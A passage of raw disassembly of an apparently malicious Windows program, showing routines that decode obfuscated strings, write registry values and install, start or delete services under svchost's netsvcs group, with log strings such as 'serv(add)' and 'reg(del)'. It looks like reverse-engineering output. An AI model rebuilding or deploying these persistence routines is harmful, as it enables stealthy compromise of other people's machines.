call near ptr 28F035Eh lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017E4 push eax push 80000002h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2930000h mov edx, [esp+80h+var_70] push edx nop call near ptr 28F035Eh lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_40E220 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E7A0 proc near ; CODE XREF: sub_401447j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40E7A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_401424 lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_401424 lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401424 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019B5 add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019B5 add esp, 0DCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 4 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019B5 add esp, 0BCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 5 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 mov esi, dword_50F754 push eax push 80000002h call esi mov edi, [esp+80h+arg_0] mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] mov ebp, dword_50F764 push eax push ecx call ebp mov edx, [esp+80h+var_70] mov ebx, dword_50F738 push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 push eax push 80000002h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000002h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000001h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017E4 push eax push 80000001h call esi mov ecx, edi call sub_401681 mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_40E7A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EC30 proc near ; CODE XREF: sub_401497j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40EC30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_401424 push 104h push 104h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_401C5D push eax nop call near ptr 27E0000h lea ecx, [esp+5Ch+var_3C] call sub_401424 mov ecx, [esp+5Ch+arg_4] mov byte ptr [esp+5Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+60h+var_24] call sub_4017E4 push eax lea eax, [esp+64h+var_3C] push offset dword_443684 push eax call sub_40102D add esp, 10h lea ecx, [esp+5Ch+var_54] call sub_401424 lea ecx, [esp+5Ch+var_54] push offset aNetsvcs ; "-netsvcs" push ecx mov byte ptr [esp+64h+var_4], 2 call sub_40102D mov ecx, [esp+64h+arg_0] add esp, 8 lea edx, [esp+5Ch+var_54] lea eax, [esp+5Ch+var_3C] push edx push eax push ecx mov ecx, esi call sub_402153 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_401226 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_401226 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_40EC30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ED70 proc near ; CODE XREF: sub_402153j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40ED70 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" mov [esp+5Ch+var_44], ecx push 0 nop call near ptr 2900000h mov edi, eax test edi, edi jnz short loc_40EDAF xor al, al jmp loc_40EF00 ; --------------------------------------------------------------------------- loc_40EDAF: ; CODE XREF: sub_40ED70+36j lea ecx, [esp+54h+var_24] call sub_401424 mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_4017E4 mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_4017E4 push eax lea eax, [esp+5Ch+var_24] push offset aSS_4 ; "\"%s\" %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_4017E4 push eax push 1 push 2 push 20h push 0F01FFh mov ecx, offset dword_447864 call sub_4017E4 mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_4017E4 push eax push edi call near ptr 2900382h nop mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_40EE95 nop call near ptr 27A08E3h cmp eax, 431h jnz short loc_40EE79 mov ecx, [esp+54h+var_44] push ebp call sub_401942 mov esi, dword_50F74C push 0 call esi push edi call esi mov ecx, [esp+54h+var_44] push ebx push ebp call sub_401497 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40EF00 ; --------------------------------------------------------------------------- loc_40EE79: ; CODE XREF: sub_40ED70+CBj push edi call near ptr 2900668h nop lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp short loc_40EF00 ; --------------------------------------------------------------------------- loc_40EE95: ; CODE XREF: sub_40ED70+BEj lea edx, [esp+54h+var_38] mov [esp+54h+var_34], ecx mov dword ptr [esp+54h+var_30], ecx push edx mov eax, 1 or ebx, 0FFFFFFFFh lea ecx, [esp+58h+var_40] push 2 push esi mov [esp+60h+var_3C], eax mov [esp+60h+var_40], eax mov [esp+60h+var_38], ebx mov [esp+60h+var_2C], eax mov [esp+60h+var_28], ecx nop call near ptr 2900944h test eax, eax push esi mov esi, dword_50F74C jnz short loc_40EEEC call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 xor al, al jmp short loc_40EF00 ; --------------------------------------------------------------------------- loc_40EEEC: ; CODE XREF: sub_40ED70+164j call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 mov al, 1 loc_40EF00: ; CODE XREF: sub_40ED70+3Aj ; sub_40ED70+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_40ED70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EF90 proc near ; CODE XREF: sub_401942j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2900000h mov edi, eax test edi, edi jnz short loc_40EFB7 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40EFB7: ; CODE XREF: sub_40EF90+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017E4 push eax push edi call near ptr 2890574h nop mov esi, eax test esi, esi jnz short loc_40EFE4 push edi nop call near ptr 2900668h pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40EFE4: ; CODE XREF: sub_40EF90+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi call near ptr 28F08B3h nop push esi nop call near ptr 28F0C1Dh push esi mov esi, dword_50F74C call esi push edi call esi pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_40EF90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F030 proc near ; CODE XREF: sub_401FB4j arg_0 = dword ptr 4 push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2900000h mov esi, eax test esi, esi jnz short loc_40F04F xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F04F: ; CODE XREF: sub_40F030+17j mov ecx, [esp+4+arg_0] push 0F01FFh call sub_4017E4 push eax push esi call near ptr 2890574h nop test eax, eax jnz short loc_40F076 push esi nop call near ptr 2900668h xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F076: ; CODE XREF: sub_40F030+37j push edi mov edi, dword_50F74C push eax call edi push esi call edi pop edi mov al, 1 pop esi retn 4 sub_40F030 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F0B0 proc near ; CODE XREF: sub_401FDCj arg_0 = dword ptr 4 push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 2900000h nop mov edi, eax test edi, edi jnz short loc_40F0D1 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F0D1: ; CODE XREF: sub_40F0B0+18j mov ecx, [esp+8+arg_0] push 0F01FFh call sub_4017E4 push eax push edi nop call near ptr 2890574h mov esi, eax test esi, esi jnz short loc_40F0FB push edi nop call near ptr 2900668h pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F0FB: ; CODE XREF: sub_40F0B0+3Bj push 0 push 0 push esi nop call near ptr 28F0000h push esi mov esi, dword_50F74C call esi push edi call esi pop edi mov al, 1 pop esi retn 4 sub_40F0B0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40F140: ; CODE XREF: ___:loc_4014A1j mov eax, large fs:0 push 0FFFFFFFFh push offset loc_439048 push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+78h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F23A push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA push 1 push offset asc_443600 ; " " lea ecx, [esp+14h] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+84h], ebx call sub_4011EA lea edx, [esp+0Ch] lea eax, [esp+24h] push edx push eax mov ecx, edi mov byte ptr [esp+7Ch], 1 call sub_401726 test al, al jz short loc_40F206 lea ecx, [esp+0Ch] call sub_4017E4 push eax lea ecx, [esp+28h] call sub_4017E4 push eax push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 1Ch loc_40F206: ; CODE XREF: ___:0040F1C7j lea ecx, [esp+0Ch] mov [esp+74h], bl call sub_401226 lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F23A: ; CODE XREF: ___:0040F176j lea ecx, [edi+47h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F2D9 push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+24h] mov dword ptr [esp+74h], 2 push ecx mov ecx, edi call sub_401447 test al, al jz short loc_40F2B2 lea ecx, [esp+24h] call sub_4017E4 push eax push offset aRegDelS_ ; "reg(del) \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_40F2B2: ; CODE XREF: ___:0040F27Dj lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F2D9: ; CODE XREF: ___:0040F24Cj lea ecx, [edi+75h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F3EF push 1 push offset asc_443600 ; " " lea ecx, [esp+44h] push 1 push ecx mov ecx, esi call sub_4011EA push 1 push offset asc_443600 ; " " lea edx, [esp+14h] push 2 push edx mov ecx, esi mov dword ptr [esp+84h], 3 call sub_4011EA push 1 push offset asc_443600 ; " " lea eax, [esp+2Ch] mov bl, 4 push 3 push eax mov ecx, esi mov [esp+84h], bl call sub_4011EA lea ecx, [esp+24h] lea edx, [esp+0Ch] push ecx lea eax, [esp+40h] push edx push eax mov ecx, edi mov byte ptr [esp+80h], 5 call sub_402153 test al, al jz short loc_40F3AD lea ecx, [esp+24h] call sub_4017E4 push eax lea ecx, [esp+10h] call sub_4017E4 push eax lea ecx, [esp+44h] call sub_4017E4 push eax push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"." lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 20h loc_40F3AD: ; CODE XREF: ___:0040F364j lea ecx, [esp+24h] mov [esp+74h], bl call sub_401226 lea ecx, [esp+0Ch] mov byte ptr [esp+74h], 3 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F3EF: ; CODE XREF: ___:0040F2EBj lea ecx, [edi+0A3h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F491 push 1 push offset asc_443600 ; " " lea eax, [esp+5Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+54h] mov dword ptr [esp+74h], 6 push ecx mov ecx, edi call sub_401942 test al, al jz short loc_40F46A lea ecx, [esp+54h] call sub_4017E4 push eax push offset aServDelS_ ; "serv(del) \"%s\"." lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 18h loc_40F46A: ; CODE XREF: ___:0040F435j lea ecx, [esp+54h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F491: ; CODE XREF: ___:0040F404j mov ecx, [esp+6Ch] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F590 proc near ; CODE XREF: sub_401D02j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx nop call near ptr 77C2C407h mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_40F590 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F600 proc near ; CODE XREF: sub_401695j var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40F600 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_401E6A lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_4011B3 lea ebp, [esi+28h] mov ecx, ebp call sub_401424 lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_401424 lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_401749 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_401749 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_401749 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_401749 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_401749 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_401749 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_401749 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_401749 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_401749 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_401749 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_401749 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_401749 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_401749 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_401749 lea eax, [esp+3Ch+var_29] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_401721 mov dword ptr [edi], offset off_43E034 mov bl, 11h xor edi, edi push offset byte_446F60 mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset off_43E028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_4015D7 nop call near ptr 27D0802h push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_4017E4 push eax push offset dword_4470EC call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_4019B5 add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_4017E4 push eax push offset dword_4470F0 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_4017E4 push eax push offset dword_4470F4 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_4019B5 add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_4017E4 push eax push offset dword_4470F8 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_4019B5 add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_4017E4 push eax push offset dword_4470FC call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_4017E4 push eax push offset dword_447100 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_4017E4 push eax push offset dword_447104 call sub_401D02 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_4017E4 push eax push offset dword_447108 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Dh push 2Dh push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_4017E4 push eax push offset dword_44710C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_4017E4 push eax push offset dword_447110 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_4017E4 push eax push offset dword_447114 call sub_401D02 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_4017E4 push eax push offset dword_447118 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_4017E4 push eax push offset dword_44711C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_4017E4 push eax push offset dword_447120 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_4017E4 push eax push offset dword_447124 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_4017E4 push eax push offset dword_447128 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 49h push 44h lea edx, [esp+48h+var_24] push 44h push edx call sub_4019B5 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_4017E4 push eax push offset dword_44712C call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_4019B5 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 23h call sub_4017E4 push eax push offset dword_447130 call sub_401D02 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 2Ch retn sub_40F600 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FD70 proc near ; CODE XREF: ___:004019C4j sub_401A3Cj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4013C0 sub_40FD70 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_40FD88 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40FD88: ; CODE XREF: ___:0040FD7Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40FDA0 proc near ; CODE XREF: sub_4013C0j var_10 = dword ptr -10h 